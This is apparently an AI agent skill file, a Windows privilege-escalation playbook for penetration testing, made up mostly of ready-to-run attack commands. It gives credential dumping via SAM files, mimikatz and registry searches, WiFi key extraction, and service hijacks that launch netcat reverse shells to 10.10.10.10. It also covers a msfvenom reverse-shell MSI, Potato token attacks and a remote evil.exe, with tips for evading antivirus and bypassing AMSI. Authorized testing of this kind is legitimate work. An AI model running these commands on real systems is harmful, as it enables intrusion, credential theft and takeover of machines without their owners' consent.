+# Windows Privilege Escalation - Detailed Guide
+
+> This file contains the detailed procedure and reference material extracted from `SKILL.md` for focused loading. The root skill defines activation, examples, safety constraints, and limitations.
+
+## Purpose
+
+Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
+
+
+## Inputs / Prerequisites
+
+- **Initial Access**: Shell or RDP access as standard user on Windows system
+- **Enumeration Tools**: WinPEAS, PowerUp, Seatbelt, or manual commands
+- **Exploit Binaries**: Pre-compiled exploits or ability to transfer tools
+- **Knowledge**: Understanding of Windows security model and privileges
+- **Authorization**: Written permission for penetration testing activities
+
+
+## Outputs / Deliverables
+
+- **Privilege Escalation Path**: Identified vector to higher privileges
+- **Credential Dump**: Harvested passwords, hashes, or tokens
+- **Elevated Shell**: Command execution as Administrator or SYSTEM
+- **Vulnerability Report**: Documentation of misconfigurations and exploits
+- **Remediation Recommendations**: Fixes for identified weaknesses
+
+
+## Core Workflow
+
+### 1. System Enumeration
+
+#### Basic System Information
+```powershell
+# OS version and patches
+systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
+wmic qfe
+
+# Architecture
+wmic os get osarchitecture
+echo %PROCESSOR_ARCHITECTURE%
+
+# Environment variables
+set
+Get-ChildItem Env: | ft Key,Value
+
+# List drives
+wmic logicaldisk get caption,description,providername
+```
+
+#### User Enumeration
+```powershell
+# Current user
+whoami
+echo %USERNAME%
+
+# User privileges
+whoami /priv
+whoami /groups
+whoami /all
+
+# All users
+net user
+Get-LocalUser | ft Name,Enabled,LastLogon
+
+# User details
+net user administrator
+net user %USERNAME%
+
+# Local groups
+net localgroup
+net localgroup administrators
+Get-LocalGroupMember Administrators | ft Name,PrincipalSource
+```
+
+#### Network Enumeration
+```powershell
+# Network interfaces
+ipconfig /all
+Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
+
+# Routing table
+route print
+Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
+
+# ARP table
+arp -A
+
+# Active connections
+netstat -ano
+
+# Network shares
+net share
+
+# Domain Controllers
+nltest /DCLIST:DomainName
+```
+
+#### Antivirus Enumeration
+```powershell
+# Check AV products
+WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
+```
+
+### 2. Credential Harvesting
+
+#### SAM and SYSTEM Files
+```powershell
+# SAM file locations
+%SYSTEMROOT%\repair\SAM
+%SYSTEMROOT%\System32\config\RegBack\SAM
+%SYSTEMROOT%\System32\config\SAM
+
+# SYSTEM file locations
+%SYSTEMROOT%\repair\system
+%SYSTEMROOT%\System32\config\SYSTEM
+%SYSTEMROOT%\System32\config\RegBack\system
+
+# Extract hashes (from Linux after obtaining files)
+pwdump SYSTEM SAM > sam.txt
+samdump2 SYSTEM SAM -o sam.txt
+
+# Crack with John
+john --format=NT sam.txt
+```
+
+#### HiveNightmare (CVE-2021-36934)
+```powershell
+# Check vulnerability
+icacls C:\Windows\System32\config\SAM
+# Vulnerable if: BUILTIN\Users:(I)(RX)
+
+# Exploit with mimikatz
+mimikatz> token::whoami /full
+mimikatz> misc::shadowcopies
+mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
+```
+
+#### Search for Passwords
+```powershell
+# Search file contents
+findstr /SI /M "password" *.xml *.ini *.txt
+findstr /si password *.xml *.ini *.txt *.config
+
+# Search registry
+reg query HKLM /f password /t REG_SZ /s
+reg query HKCU /f password /t REG_SZ /s
+
+# Windows Autologin credentials
+reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
+
+# PuTTY sessions
+reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
+
+# VNC passwords
+reg query "HKCU\Software\ORL\WinVNC3\Password"
+reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
+
+# Search for specific files
+dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
+where /R C:\ *.ini
+```
+
+#### Unattend.xml Credentials
+```powershell
+# Common locations
+C:\unattend.xml
+C:\Windows\Panther\Unattend.xml
+C:\Windows\Panther\Unattend\Unattend.xml
+C:\Windows\system32\sysprep.inf
+C:\Windows\system32\sysprep\sysprep.xml
+
+# Search for files
+dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul
+
+# Decode base64 password (Linux)
+echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
+```
+
+#### WiFi Passwords
+```powershell
+# List profiles
+netsh wlan show profile
+
+# Get cleartext password
+netsh wlan show profile <SSID> key=clear
+
+# Extract all WiFi passwords
+for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on
+```
+
+#### PowerShell History
+```powershell
+# View PowerShell history
+type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
+cat (Get-PSReadlineOption).HistorySavePath
+cat (Get-PSReadlineOption).HistorySavePath | sls passw
+```
+
+### 3. Service Exploitation
+
+#### Incorrect Service Permissions
+```powershell
+# Find misconfigured services
+accesschk.exe -uwcqv "Authenticated Users" * /accepteula
+accesschk.exe -uwcqv "Everyone" * /accepteula
+accesschk.exe -ucqv <service_name>
+
+# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG
+
+# Exploit vulnerable service
+sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
+sc stop <service>
+sc start <service>
+```
+
+#### Unquoted Service Paths
+```powershell
+# Find unquoted paths
+wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
+wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
+
+# Exploit: Place malicious exe in path
+# For path: C:\Program Files\Some App\service.exe
+# Try: C:\Program.exe or C:\Program Files\Some.exe
+```
+
+#### AlwaysInstallElevated
+```powershell
+# Check if enabled
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+
+# Both must return 0x1 for vulnerability
+
+# Create malicious MSI
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
+
+# Install (runs as SYSTEM)
+msiexec /quiet /qn /i C:\evil.msi
+```
+
+### 4. Token Impersonation
+
+#### Check Impersonation Privileges
+```powershell
+# Look for these privileges
+whoami /priv
+
+# Exploitable privileges:
+# SeImpersonatePrivilege
+# SeAssignPrimaryTokenPrivilege
+# SeTcbPrivilege
+# SeBackupPrivilege
+# SeRestorePrivilege
+# SeCreateTokenPrivilege
+# SeLoadDriverPrivilege
+# SeTakeOwnershipPrivilege
+# SeDebugPrivilege
+```
+
+#### Potato Attacks
+```powershell
+# JuicyPotato (Windows Server 2019 and below)
+JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *
+
+# PrintSpoofer (Windows 10 and Server 2019)
+PrintSpoofer.exe -i -c cmd
+
+# RoguePotato
+RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
+
+# GodPotato
+GodPotato.exe -cmd "cmd /c whoami"
+```
+
+### 5. Kernel Exploitation
+
+#### Find Kernel Vulnerabilities
+```powershell
+# Use Windows Exploit Suggester
+systeminfo > systeminfo.txt
+python wes.py systeminfo.txt
+
+# Or use Watson (on target)
+Watson.exe
+
+# Or use Sherlock PowerShell script
+powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
+```
+
+#### Common Kernel Exploits
+```
+MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
+MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
+MS15-051 - Client Copy Image - 2003/2008/7
+MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
+MS11-080 - afd.sys - XP/2003
+MS10-015 - KiTrap0D - 2003/XP/2000
+MS08-067 - NetAPI - 2000/XP/2003
+CVE-2021-1732 - Win32k - Windows 10/Server 2019
+CVE-2020-0796 - SMBGhost - Windows 10
+CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019
+```
+
+### 6. Additional Techniques
+
+#### DLL Hijacking
+```powershell
+# Find missing DLLs with Process Monitor
+# Filter: Result = NAME NOT FOUND, Path ends with .dll
+
+# Compile malicious DLL
+# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
+# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
+```
+
+#### Runas with Saved Credentials
+```powershell
+# List saved credentials
+cmdkey /list
+
+# Use saved credentials
+runas /savecred /user:Administrator "cmd.exe /k whoami"
+runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
+```
+
+#### WSL Exploitation
+```powershell
+# Check for WSL
+wsl whoami
+
+# Set root as default user
+wsl --default-user root
+# Or: ubuntu.exe config --default-user root
+
+# Spawn shell as root
+wsl whoami
+wsl python -c 'import os; os.system("/bin/bash")'
+```
+

+## Quick Reference
+
+### Enumeration Tools
+
+| Tool | Command | Purpose |
+|------|---------|---------|
+| WinPEAS | `winPEAS.exe` | Comprehensive enumeration |
+| PowerUp | `Invoke-AllChecks` | Service/path vulnerabilities |
+| Seatbelt | `Seatbelt.exe -group=all` | Security audit checks |
+| Watson | `Watson.exe` | Missing patches |
+| JAWS | `.\jaws-enum.ps1` | Legacy Windows enum |
+| PrivescCheck | `Invoke-PrivescCheck` | Privilege escalation checks |
+
+### Default Writable Folders
+
+```
+C:\Windows\Temp
+C:\Windows\Tasks
+C:\Users\Public
+C:\Windows\tracing
+C:\Windows\System32\spool\drivers\color
+C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
+```
+
+### Common Privilege Escalation Vectors
+
+| Vector | Check Command |
+|--------|---------------|
+| Unquoted paths | `wmic service get pathname \| findstr /i /v """` |
+| Weak service perms | `accesschk.exe -uwcqv "Everyone" *` |
+| AlwaysInstallElevated | `reg query HKCU\...\Installer /v AlwaysInstallElevated` |
+| Stored credentials | `cmdkey /list` |
+| Token privileges | `whoami /priv` |
+| Scheduled tasks | `schtasks /query /fo LIST /v` |
+
+### Impersonation Privilege Exploits
+
+| Privilege | Tool | Usage |
+|-----------|------|-------|
+| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |
+| SeImpersonatePrivilege | PrintSpoofer | Spooler service |
+| SeImpersonatePrivilege | RoguePotato | OXID resolver |
+| SeBackupPrivilege | robocopy /b | Read protected files |
+| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |
+| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |
+
+
+## Troubleshooting
+
+| Issue | Cause | Solution |
+|-------|-------|----------|
+| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |
+| Service won't start | Binary path syntax | Ensure space after `=` in binpath: `binpath= "C:\path\binary.exe"` |
+| Token impersonation fails | Wrong privilege/version | Check `whoami /priv`; verify Windows version compatibility |
+| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: `python wes.py systeminfo.txt` |
+| PowerShell blocked | Execution policy/AMSI | Use `powershell -ep bypass -c "cmd"` or `-enc <base64>` |
